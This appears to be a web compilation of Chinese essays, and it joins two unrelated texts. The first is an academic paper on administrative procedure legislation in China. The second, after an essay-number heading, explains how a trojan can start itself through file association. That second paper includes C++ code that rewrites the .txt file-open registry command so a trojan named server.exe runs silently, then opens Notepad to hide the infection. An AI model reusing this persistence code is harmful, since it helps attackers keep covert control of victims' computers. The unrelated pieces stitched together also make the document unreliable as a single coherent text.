基于各种不同的标准,人们可以对各国行政程序立法进行模式化研究。关于立法的形 式,人们可以列举诸如单一行政程序法典模式与复合行政程序法典模式,单纯程序模式 与实体、程序合一模式,共同行政程序法模式与类别行政程序法模式,准用他法模式与 自成体系模式等。(注:参见:吕尚敏.行政程序法典的结构选择——对十个国家和地区 行政程序法典的比较分析[J].社会科学,1999,(8).该文还将效率模式与公正模式同结 构选择的其他模式并列考察,容易引起人们对行政程序立法形式和立法目标的混同。) 关于行政程序法目标模式,人们可以罗列诸如维护模式与保护模式,民主模式与保护模 式,效率模式与公正模式(或维护模式)等。[3]然而,目前我国行政法学界有关行政程 序立法的各种目标模式的研究中,存在着简单罗列、想当然地比较、只重表象而不顾实 质等缺陷。论者的标准不一,观点各异,往往“将目标、宗旨、目的、价值取向、制定 思想、功能、作用等混同使用”,“研究方法不科学”,有关“分析和介绍不符合世界 各国行政程序法的实际情况”,“归类显得牵强附会”,[3](P43-45)极其欠缺学术规 范性。

实际上,正如论者所言,综观世界上已制定的行政程序法典,其内容多寡不一,体例 繁简不一,制定目的有异,其历史背景、民族精神、社会现实、政治和司法制度构造以 及占统治地位的意识形态等各不相同,因而呈现出极其复杂化和多样性。从比较法(com parative law)的视角看,只有在对各国与该制度相关的各种要素进行全面、系统、深 入研究的基础上进行模式化研究,才是有价值的。换言之,在对相关要素毫不知情的情 况下,是不宜简单地进行所谓模式化研究的。尤其是仅仅着眼于各国的法典条文进行所 谓模式化研究,极容易形成错误的结论。诸如“保权模式”、“权利模式”、“维护模 式”、“保护模式”等归纳总结,不仅令读者难以捉摸其中的分界线,而且论者自身也 往往含混不清。这种研究成果若运用于立法实践,将不利于有关立法的实效性和科学性 。

(三)关于行政程序价值的研究

在有关行政程序价值的研究中,呈现出过于强调其正面效应,而忽视对其负面效应的 研究,从而对有关防治措施没有予以足够重视的倾向。一方面,对于行政执法乃至对行 政行为的复议和司法审查要不要强调程序价值的问题,理论界已不再存在歧义,实践中 亦形成了对行政行为是否违反法定程序进行司法审查的法律机制。另一方面,当程序价 值与实体价值发生冲突的时候,不仅立法上和司法上欠缺必要的取舍标准和对应制度, 而且理论界也欠缺关于程序公正与实体公正之关系的全面、深入、系统的研究。至于行 政程序和正当行政程序的差异性问题,迄今为止尚没有进入人们的研究视野。换言之, 尽管人们在论及程序价值时,所涉及的内容皆是公正程序所内在的价值,而许多人却一 味主张此乃程序价值。似乎只有这样才能体现对行政程序的重视。

有学者认为,随着现代行政法程序控权观念的日益深入人心,行政法的重心逐渐转移 到了行政程序法上。[4]基于对“重实体而轻程序”的传统积弊的反思,这样的主张是 有一定道理的,并且,对行政程序法的重视,的确也是近年来各国行政法制建设和行政 法学研究中的一个共同趋势。但是,反思“重实体而轻程序”的传统积弊,进而主张“ 程序公正优先于实体公正,只要程序合法,实体就应当视为公正”的观点,(注:参见 :陈光中.应当坚持实体与程序并重[N].人民法院报,2000-06-19.作者关于应当坚持实 体法与程序法并重的观点,把客观真实与法律真实辩证地结合起来的观点,是值得肯定 并予以重视的。尤其在行政程序立法的过程中,不是基于单纯的程序理念,而是认真研 究和分析行政过程自身的规律,寻求将客观真实和法律真实辩证地结合起来的切合点, 具有极其重要的意义。)是不可取的。对于这个问题,理想的答案当然是程序、实体二 者皆能并重,但遗憾的是,这种主张在很多时候只是一种美好的理想,实践往往迫使人 们必须做出明确的选择。正是基于对传统积弊的反思和对现实的无奈,人们提出诸如程 序优于实体的各种主张,陷入了一种走极端的思维定式。因此,我们必须强调的是,为 了切实有效地解决这个问题,不应该纠缠于实体和程序孰轻孰重这一永无结果的争论中 ,而应该转换观念,换个视角看问题。由于过分拘泥于实体和程序的单一选择式的取舍 关系,人们更多地是从行政程序的正面效应来观察和分析行政程序的价值,以突出程序 价值的重要性,从而自觉或不自觉地将行政程序等同于正当行政程序乃至正当法律程序 (due process of law),忽视或不注重正当行政程序的对立面——繁文缛节、形式主义 的行政程序。基于这种考虑,我认为应当在研究中将行政程序和正当行政程序这两个概 念区分开来。只有正当行政程序,才具有目前诸多论者所主张的价值,才是行政机关在 行政过程中所必须遵循的准则,是为保障公民权益而由法律规范规定的、公正而民主的 程序;而一般的行政程序则往往具有正负两方面的效应。实际上,人们在强调程序价值 的时候,已经自觉或不自觉地将正当程序视为其赖以主张的对象。

研究行政程序,有必要运用辩证法的两点论予以考察,既要对正当行政程序进行分析 ,又要对一般行政程序进行探究;既要对一般行政程序的正面效应进行考察,又要对其 负面效应予以剖析。从服务于目前行政程序立法需要的角度考虑,鉴于既有研究成果的 不足和缺憾,我们研究的重点应该置于对目前中国行政管理实践中行政权力运作状况的 实证分析。

众所周知,我国现行宪法第2条第3款确认了公民参与国家决策的神圣权利。行政过程 的公正化、合理化及民主化的法理,正是我国宪法理念的具体反映。公民能动地、积极 地参与行政过程的原理,意味着通过公民对行政的直接参与,在行政程序阶段将行政自 身难以避免的诸种弊端消灭于萌芽状态,从长远来看,也是提高行政效率的最有效的途 径。只有确立正当行政程序,才能够最大限度地反映行政程序法的价值取向,实现宪法 所确认的神圣权利。反过来说,只有能够最大限度地实现个人权利和公共利益的行政程 序,才能称其为正当行政程序。遵循正当行政程序,才能将程序价值和实体价值辨正地 结合起来,真正实现社会主义。

三、关于我国行政程序立法的构想

(一)我国行政程序立法的现状——制定单独的《行政程序法》的必要性分析

改革开放以来,中国的法制建设取得了长足的发展,行政程序立法亦经历了一个由不 系统向系统化发展、由低层级向高层级发展的过程。众所周知,在这方面,1989年颁布 的《行政诉讼法》具有里程碑的意义,它在确立“民可以告官”原则的同时,将“违反 法定程序的”情形作为法院判决撤销或部分撤销具体行政行为的一种情况来规定,确立 了法院对行政机关是否遵循法定程序的司法审查权。然而,在当时我国的有关立法中, 除了《治安管理处罚条例》对行政程序有所规定外,几乎找不到什么“法定程序”。面 对这种状况,学界和实务界开始了对“法定程序”的探讨和研究。在当时的情况下,我 国的确非常需要有一部《行政程序法》,以便为行政管理部门指明其应该履行的法定程 序,为司法部门明确其作出撤销或部分撤销判决的依据,亦为学界研究有关问题提供制 度上的参考。然而,大家公认的一个事实——各方面的条件尚不成熟,阻却了《行政程 序法》的制定。

20世纪90年代以后,我国行政程序立法呈现出系统化的倾向。我国虽然没有着手《行 政程序法》的制定,但是,在立法方式上采取了各个击破的策略,为建立我国行政程序 法体系进行了不懈的努力。首先有1992年的《税收征管法》,确立了税收征管领域的程 序机制,该法经1995年和2001年两次修改,使得税收征管领域的程序机制得以不断完善 。1996年的《行政处罚法》堪称我国行政程序立法史上的又一座里程碑。该法为行政处 罚设定了程序机制,给我国行政部门带来了广泛而深刻的观念转变与工作方式的变革。 1999年的《行政复议法》,不仅使行政复议程序机制更加完善,而且为行政管理程序的 完善提出了更高的要求,诸如复议申请的移送机制等方面的规定,充分体现了服务行政 的理念,大大推进了我国行政管理方式变革的进程。同年颁布的《价格法》,为政府的 定价行为以及价格监督检查等规定了较为完善的程序机制,尤其是该法关于价格听证的 程序设置,在实践中已经产生了广泛的影响。此后,2000年的《立法法》以及2001年的 《行政法规制定程序条例》和《规章制定程序条例》,为行政立法程序机制的确立提供 了较为全面和充分的法律依据。目前正处在制定过程中的《行政许可法》、《行政强制 法》以及将要制定的《行政收费法》等,都将在有关领域的程序建设方面作出比较全面 、系统而科学的规定。

经过上述努力,目前我国的行政程序法律体系已经基本形成。虽然有关程序机制并不 能完全覆盖行政法调整的所有范围,但是,行政程序的基本原理或者原则已经在立法上 、行政实践中乃至司法审查中得以确立。在这种情况下,关于制定单独的《行政程序法 》的必要性问题,却产生了两种迥然不同的观点。一种观点认为,行政程序法的工作, 是积累经验的一个过程。我们不仅在理论上的准备以及对程序本身的研究都有了一定的 基础,而且在立法实践方面也取得了如上所述的巨大成就,因而我们已经有条件来借鉴 外国经验,起草、制定我们自己的程序法典了。另一种观点则认为,要搞行政程序法, 需要首先论证其是否必要,有必要从理论上论证我们是否在进行资源浪费?例如,我们 已经制定了《行政处罚法》等有关领域的单行法律,且正在制定《行政许可法》、《行 政强制法》等单行法律,而目前“试拟框架”中又有相关规定,那么,它们之间是什么 关系?此外,目前有关部门正在进行证据规则的制定工作,在“试拟框架”中对证据作 出规定,亦存在如何处理二者关系的问题。对这些问题重新规定一遍是否有意义?这都 是需要进一步论证的。简而言之,制定单独的《行政程序法》不宜操之过急。还有一种 观点认为,从法律的供应和需求来看,行政许可法、行政检查法等单行法是非常需要的 ,而全面覆盖的行政程序法则是可有可无的;从整个法律的“生态环境”来说,目前是 否已经具备了相关条件亦是值得考虑的,尤其是在基层政府基本不会考虑程序问题,它 们的首要目标是实体问题的解决。在这种现状下,要从总体上、整体上来进行程序法建 构,可能导致人们无所适从,甚至造成大量人为的违法现象发生。该观点主张首先制定 仅适用于中央和省级政府的行政程序法。

我认为,上述三种观点都有其一定的道理,尤其是第三种观点值得理论界予以高度的 重视。不过,我比较赞成第二种观点。这是因为,该观点并不是主观地否定单独制定《 行政程序法》的必要性,恰恰相反,该观点主张展开进一步的探讨,在探讨、论证的基 础上得出有关取舍的结论。这种探讨,从立法政策学的角度看,是极其重要的一步工作 ,或者说是实际展开立法工作所必备的前期准备工作,也可以说是立法工作的一个重要 组成部分。既然我们已经采取了各个击破的立法方略,并且在诸多领域已经有了比较全 面而系统的程序规定,那么,现今要制定适用于各个领域的单独的《行政程序法》,就 不能不特别注意该法与各个领域的既有法律规范的关系问题,至少应该对各个领域的现 有法律规范展开全面而深入的考察,尤其要结合各个领域的行政管理实践展开实证研究 ,并参照第三种观点所主张的立法生态方面的提示,明确哪些规范是合理的,因而应该 予以确认;哪些规范存在问题,因而应该予以修改;哪些规范已经非常充分,没有必要 重新确认;等等。此外,关于第一种观点认为我们在理论上的准备以及对程序本身的研 究都有了一定的基础这一论据,基于前面的考察,我认为亦是值得商榷的。问题的关键 在于,目前我国有关行政程序的研究中极其欠缺实证性研究,纯粹学理上的研究与实际 立法工作毕竟不是一回事,并且,起草者的立场和立法者的立场毕竟不能简单地划等号 。

尽管存在上述各种不同的观点,但是,从结论来讲,我认为,制定单独的《行政程序 法》是必要的。其理由是:目前虽然在主要行政管理领域已有或将有单行法律规范,但 是,其毕竟未能覆盖所有行政领域,例如,行政计划、行政指导、行政合同等领域尚没 有必要的程序规范。并且,除了人们予以类型化的行政领域外,现代行政管理内容的复 杂多样化,决定了行政管理形式、方法和手段的多样化,对于尚未被类型化的领域来说 ,各个击破的立法策略一般难以照应。从全面实现法治行政目标的角度考虑,制定单独 的《行政程序法》,对需要普遍遵行的原则、程序加以明确,的确是必要的,而且也是 可行的。关键在于如何架构我国的《行政程序法》。

(二)我国行政程序立法的架构问题

1.有关行政主体的规定

首先,“试拟框架”将行政主体作为一个重要内容来架构,这里存在一个立法技术上 的难题。众所周知,行政主体的有关规定,宜由行政组织法来承担。在行政程序法中对 其作出规定,或者是轻描淡写,缺乏可操作性;或者详细规定,则往往易造成与具体组 织规范的不一致甚至相互冲突。这个问题当然有待于进一步深入的探讨与论证。其次, 有关主体的规定,可能很难充分关照后面各个领域的主体,因为各个领域的主体具有多 样化的特点。

据此,建议修改目前的架构,将有关主体的规定分散到后述各个领域的程序部分。

2.关于“行政程序的一般规定”问题

“试拟框架”第三章在“行政程序的一般规定”中罗列了9个方面的内容,其中的标准 呈现出非一致性,且不符合行政权运作的逻辑规律。尤其是将非正式听证、正式听证和 简易程序予以并列规定,是值得商榷的。根据行政程序理论,所谓非正式听证应该包括 在简易程序之中;简易程序应该和正式程序(或普通程序、一般程序)相对应。建议将第 三章“行政程序的一般规定”拆分为:简易程序、正式程序、信息公开、公文简化和自 动化四章分别予以规定。

3.关于行政行为的效力问题

行政行为的效力涉及各个行政领域,应该是“一般规定”的主要内容。“试拟框架” 仅在第五章中规定了“行政决定的效力”,而没有列出其他行政行为的效力,这是值得 商榷的。这样安排毕竟与其体系架构的逻辑关系具有难以调和的矛盾。我认为,这里应 该予以适当的调整。关于各种行政行为的效力问题,既可以由实体法分别作出规定,亦 可以在程序法典中予以原则性的规定。鉴于我国目前行政组织法尚不够健全这一现实, 从行政程序法典的整体性和实效性的角度考虑,宜于单独设一章规定各种程序规范的效 力,包括行政行为的成立要件、生效要件、合法要件,以及行政行为的变更、中止和消 灭等。尤其是应该对具有程序瑕疵的行政行为的补正、治愈乃至因程序方面的重大违法 而无效的行政行为的转换问题作出明确的原则规定,并对有关要件和限制作出明确的规 定。鉴于行政行为效力问题的重要性和普遍性,其应该适用于本法所规定的每一个领域 ,因此建议将这部分内容移至“行政程序的一般规定”部分。

4.关于“行政决定”的用语问题

这里存在很多问题。值得注意的是,行政决定这个概念是很不确定的。例如,宪法第8 9条规定,国务院制定行政法规,规定行政措施,决定、命令。而“试拟框架”中 的“行政决定”显然与宪法上的“决定”不是同一概念。并且,使用“行政决定”这一 术语,还必须解决与实定法上通常使用的“决定、命令、指示”之间的关系问题。实际 上,行政决定是行政行为过程中的一种形态,大致可以分为两种类型:其一是具有普遍 拘束力的,其二是不具有普遍拘束力的。前者与第四章“行政规范”具有密不可分的关 系,后者属于具体行政行为的一种类型,应该置于行政行为所应遵循的一般规定中。换 言之,在这里单列“行政决定”一章,在与“行政规范”及“一般规定”的关系上,将 面临难以处理的困难。对相关问题需要进一步深入的研究。

5.关于“行政规划和计划”的用语问题

在《行政程序法》中将行政规划和行政计划予以并列规定,不仅在立法技术上存在诸 多困难,不利于该章有关规定的设定,而且亦不利于与世界接轨。从德国、日本、我国 台湾地区的立法实践和理论研究来看,统一使用“计划”(planning)的概念是比较合适 的。

6.关于行政指导和行政合同的规定及其他问题

我认为,在《行政程序法》中分别设专章对行政指导和行政合同作出规定,其意义是 非常重大的。记得在制定《合同法》之前,行政法学界曾试图将行政合同的内容置于该 法之中,但是,由于主客观方面的因素,使得当时的努力没有结出果实。这是非常令人 遗憾的,《合同法》也因此而存在严重的体系上的残缺。鉴于这种教训,我非常赞成在 本法中对相关领域的问题予以全面规定。

也正是基于这样的考虑,应该在《行政程序法》中对行政征收、行政处罚、行政强制 、行政许可乃至行政收费等已经有了或将要有单行法的领域同样予以适当的关注。问题 的关键在于要吸纳前述有关观点的主张,对相关领域的规范展开深入的探讨,对相关领 域的行政需要进行必要的实证研究。

7.关于其他规定的问题

鉴于前述对“试拟框架”中有关术语的质疑,应该在《行政程序法》中设定有关概念 的规定。从“试拟框架”的说明中可以看出,起草者试图在总则中规定有关概念定义。 这种做法是可取的,且国外也有这样的例子。不过,从前面的分析可以看出,有关概念 的定义往往具有较大的争议性,有必要将实证研究和理论剖析紧密结合起来,亦要求充 分考虑与相关领域既有规范的照应问题。

此外,关于授权和委托的问题,一直是学术界争议的一个焦点问题。随着我国法治行 政的推进,行政管理实践中出现诸多授权和委托难以区分的现象。特别是在与民法、诉 讼法及其他法律规范的关系上,授权和委托这对术语的用法往往存在诸多差异性。[5] 鉴于这种情况,我认为应该在《行政程序法》中设专章对授权和委托的程序作出明确的 规定。

同样,从法制统一的角度考虑,鉴于现代国家中行政主体从事大量私经济行为这样一 种现实,在《行政程序法》中亦应该对直接援用或者修正援用其他法律规范的问题作出 相应的规定。当然,这方面的程序规定亦可以不采取援用的方式,而是直接将其他法律 规范的有关规定融于行政程序法自身的体系之中。无论采取哪种方式,都应该在该法中 对相关问题作出规定。若对这方面的问题不予规定,将是《行政程序法》的一个缺憾。

四、结语

诚然,“对程序的漠视终将导致实体权利义务关系的紊乱。”[7]换言之,制定行政程 序法典,用以规范行政权的行使,这是非常重要的课题。但对于正处于转型时期的我国 来说,强调行政程序重要性的同时,不能不对行政程序负面效应予以必要而充分的关注 。一方面要尽量使得行政权的行使趋于规范化,另一方面又要实现促进政府程序简化、 降低政府执法成本的目的。如何解决这个矛盾,是目前摆在我们面前的重大课题。行政 程序立法的目的并非想方设法来“整”行政机关。这里便有一个行政程序立法观念的转 变问题,值得我国行政法学者重视。尤其是在对行政权运作的实际情况没有充分了解和 把握的情况下,过于追求程序的严密性,往往难以实现行政程序立法的使命和目的,反 而不利于完善行政系统的结构,不利于官僚理性的形成,自然也不利于权利的保障。在 这里,有一个重新认识官僚制的问题,亦有一个确立行政的自我约束法理的问题。

此外,对行政程序立法的重要性应该予以充分的强调和重视,同时更应该重视对行政 权运作之实际情况的调查和研究,对于这样一个事关行政机关方方面面、涉及到中国整 个行政观念和统治方法、方略的法,应该基于更加全面和扎实的研究来制定。特别是关 于行政合同、行政指导、行政计划乃至行政给付等问题,应该努力展开更深层次的研究 ,而不能依然停留在目前这种单纯地强调其重要性的初级阶段。

从行政法与宪法的关系来看,许多国家在展开对行政法上的某个具体问题研究之前, 首先需要论述其宪政基础,强调行政法原理必须紧紧围绕宪法原理而展开。我国行政法 学研究亦不应该例外。不应该只限于在法源部分对宪法予以简略的阐述,而应该确立以 宪法研究带动行政法研究、以宪政原则指导行政法原则的研究作风,确保行政法学研究 始终围绕宪法原理展开。关于行政程序法的研究,与行政实体法研究一样,必须首先研 究其宪政基础。因为“宪法是行政机关必须遵循的众多程序原则的渊源”。[7]行政程 序立法的过程,应该是全民参与的过程,起码应该是全学界、全实务界参与的过程。这 个问题与行政行为过程中的参与有着密切关系。中国在一系列立法的过程中,创造了专 家参与立法的非正式机制,推动了立法民主参与的进程,这本身已经形成了中国特色, 值得我们总结经验,扬长补短,进一步推进中国的民主化进程。

【参考文献】

[1]吕尚敏.行政程序法典的结构选择——对十个国家和地区行政程序法典的比较分析[ J].社会科学(上海),1999,(8).

[2]胡建淼.为《行政程序法比较研究》一书作序[A].章剑生.行政程序法比较研究[M]. 杭州:杭州大学出版社,1997.

[3]应松年.比较行政程序法[M].中国法制出版社,1999.40.

[4]笑侠.论新一代行政法治[J].外国法译评,1996,(2).

[5]胡建淼.有关中国行政法理上的行政授权问题[J].中国法学,1994,(2).

立法程序论文第8篇

关键词:文件关联;木马;自启动

1木马启动的方式

木马是一种能实现远程控制的黑客程序,具有窃取密码,屏幕控制,文件传输等危害[1]。从广义上来讲,木马是一种病毒,但不具有自我复制的特点,因此,木马要使用各种方法让程序在计算机上运行而又不被用户发现。木马首次被执行后可能被用户关闭或木马程序随着计算机的重启或关闭,因此木马还需要解决自启动的问题,以达到长期控制被害机器的目的。木马常用的启动方法有以下几种:

1.1通过注册表

Windows操作系统的注册表提供了一个注册表项,它的具体路径是:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run。通过该表项可以实现程序的自启动,一些重要的程序也是通过该表项来实现自启动的,例如输入法程序,防火墙程序等。而该表项也为木马的启动提供了可乘之机,一些木马就是利用该表项来实现自启动,例如冰河。

1.2通过服务

Windows的很多后台服务是通过系统“服务”程序来启动的,例如www服务,telnet服务等。一些木马程序也会注册成后台服务从而随着计算机的启动而运行。例如某些版本的灰鸽子就是使用这个方法。一些论文[2]详细讨论了这种方法的实现。

1.3通过文件关联

文件关联是指木马与某一种类型的文件或程序关联在一起,当打开文件或程序被运行时,木马也悄悄随着运行。木马一般选择与常用的文件建立关联,否则即使建立了关联,木马也可能由于文件没有被打开而不能自启动。冰河除了使用注册表的方法外,也使用了关联的方法,它通常关联文本文件,当然也可能关联其它类型的文件。而广外女生则关联了EXE文件和COM文件,因此,任何一个EXE文件运行都启动了木马程序。一些论文[5]讨论了另类的文件关联的方法。

2文件关联的关键技术

用文件关联的方法实现木马自启动有三个关键技术,一是如何与文件或程序建立关联;二是调用正常的程序;三是如何获得用户需要打开的文件名或程序名。本文以关联文本文件为例进行讨论,并在VC++下编程实现。

2.1建立文件关联

一个文件可以用某个程序打开,也可以用另外一个程序打开,但有一个默认的打开程序。默认的打开程序其实是由注册表来决定的。在Windows的注册表HKEY_CLASSES_ROOT表项中,包括很多类型的文件的相关信息,例如文件的图标,文件打开程序等。如果想修改文件的默认打开程序,修改这个注册表项就可以了。因此,当我们要与文本文件建立关联,通过程序修改注册表项

HKEY_CLASSES_ROOT\txtfile中的shell\open\command键的键值为木马程序就可以了。正常情况下,该键值的内容为notepad.exe%1,其中%1表示txt文件名。

2.2调用正常的程序

通过修改注册表,木马能够随着用户双击文件而悄悄运行了,但如果默认的正常程序没有运行,便会引起用户的怀疑,所以木马还需要解决运行正常程序的问题。对于文本文件,默认的打开程序是记事本程序,因此木马还需要调用记事本程序,也就是notepad程序。

2.3获得文件名

木马调用记事本程序的同时,还要获得用户所需要打开的文件名(一般是用户双击的文件名),同时把文件名传递给记事本程序,这样用户所看到的就是文本文件被正常打开了。

3编程思路及实现

在本文中,我们的木马程序命名为server.exe,我们的目标是server程序首次执行时(server程序的首次执行可以通过欺骗用户或捆绑文件等方法来实现),把server程序与txt文件建立关联,此后每当用户双击一个txt文件时,server程序就悄悄地运行,同时txt文件能正常地显示在记事本程序中。因为server程序是悄悄运行,所以用户看到的仅仅是一个记事本程序把txt文件打开了。程序首先实现文件关联,主要通过修改注册表实现;程序获得txt文件完整路径及正确文件名;调用notepad程序,并把获得的文件名传递给notepad程序。当然,server程序作为木马还应包括其它功能,但这些功能不在本文讨论之列。

3.1文件关联的实现

与txt建立关联的方法是,修改注册表的HKEY_CLASSES_ROOT\txtfile\shell\open\command项,把它的键值修改为server.exe程序。这需要用到注册表RegOpenKeyEx()函数以及RegSetValueEx()函数。这部分关键程序代码如下:

//写入注册表,建立关系

HKEYhKey;

HKEYhKey1;

//找到注册表项

LPCTSTRlpCommand="txtfile\\shell\\open\\command";

//打开注册项Key

long

lRet1=RegOpenKeyEx(HKEY_CLASSES_ROOT,lpCommand,0,KEY_WRITE,&hKey1);

if(lRet1==ERROR_SUCCESS)

{//定义并获得木马程序名

charpFileName[100]={0};

DWORDdwRet=GetModuleFileName(NULL,pFileName,MAX_PATH);

chartt[200]={0};

strcpy(tt,pFileName);

strcat(tt,"%1");//%1表示txt文件本身

//添加一个子Key,并设置值

lRet1=RegSetValueEx(hKey1,NULL,0,REG_EXPAND_SZ,(BYTE*)tt,strlen(tt));

//关闭注册表

RegCloseKey(hKey1);

3.2调用正常程序的实现

在server中调用notepad主要用ShellExceute()函数,详细的函数调用见“获得文件名的实现”部分的代码。

3.3获得文件名的实现

由于已经建立关系,当用户双击一个txt文件时,server.exe则会启动,而txt文件名则需要用GetCommandLine()函数进行并且进行处理,这是GetCommandLine()函数所获得的文件名包括一些空字符以及server程序路径以及程序名等。

char*ptr=(char*)GetCommandLine();//获得文件名,如果没有双击txt文件名,则这个文件名是server程序名

intj,k;

j=0;

j=strlen(ptr);

k=strlen(pFileName);//server路径及程序名长度

k=k+3;

if(j>k)//用户双击txt文件

ShellExecute(0,NULL,"notepad.exe",ptr+k,NULL,1);//调用notepad并且把txt文件名传递给notepad程序。